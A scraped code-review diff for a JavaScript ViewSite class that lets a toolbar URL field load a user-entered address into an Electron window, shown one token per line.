text
:
LANG
[
'toolbar'
].
save
},
]);
]);
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
switch
(
id
)
{
...
@@ -61,9 +62,18 @@ class ViewSite {
...
@@ -61,9 +62,18 @@ class ViewSite {
this
.
_saveCookie
();
this
.
_saveCookie
();
break
;
break
;
case
'view'
:
case
'view'
:
this
.
_loadURL
(
this
.
opts
.
url
);
let
url
=
toolbar
.
getInput
(
'url'
).
value
;
this
.
_loadURL
(
url
);
}
}
})
});
toolbar
.
attachEvent
(
'onEnter'
,
(
id
,
value
)
=>
{
switch
(
id
)
{
case
'url'
:
let
url
=
toolbar
.
getInput
(
'url'
).
value
;
this
.
_loadURL
(
url
);
break
;
}
});
return
toolbar
;
return
toolbar
;
}
}
...
@@ -159,7 +169,7 @@ class ViewSite {
...
@@ -159,7 +169,7 @@ class ViewSite {
webPreferences
:
{
webPreferences
:
{
nodeIntegration
:
false
,
nodeIntegration
:
false
,
},
},
title
:
this
.
opts
.
url
title
:
url
});
});
win
.
loadURL
(
url
);
win
.
loadURL
(
url
);
win
.
show
();
win
.
show
();
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment